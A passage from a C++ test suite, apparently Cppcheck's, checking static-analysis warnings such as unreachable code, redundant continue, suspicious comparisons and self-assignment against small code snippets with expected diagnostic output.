Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a 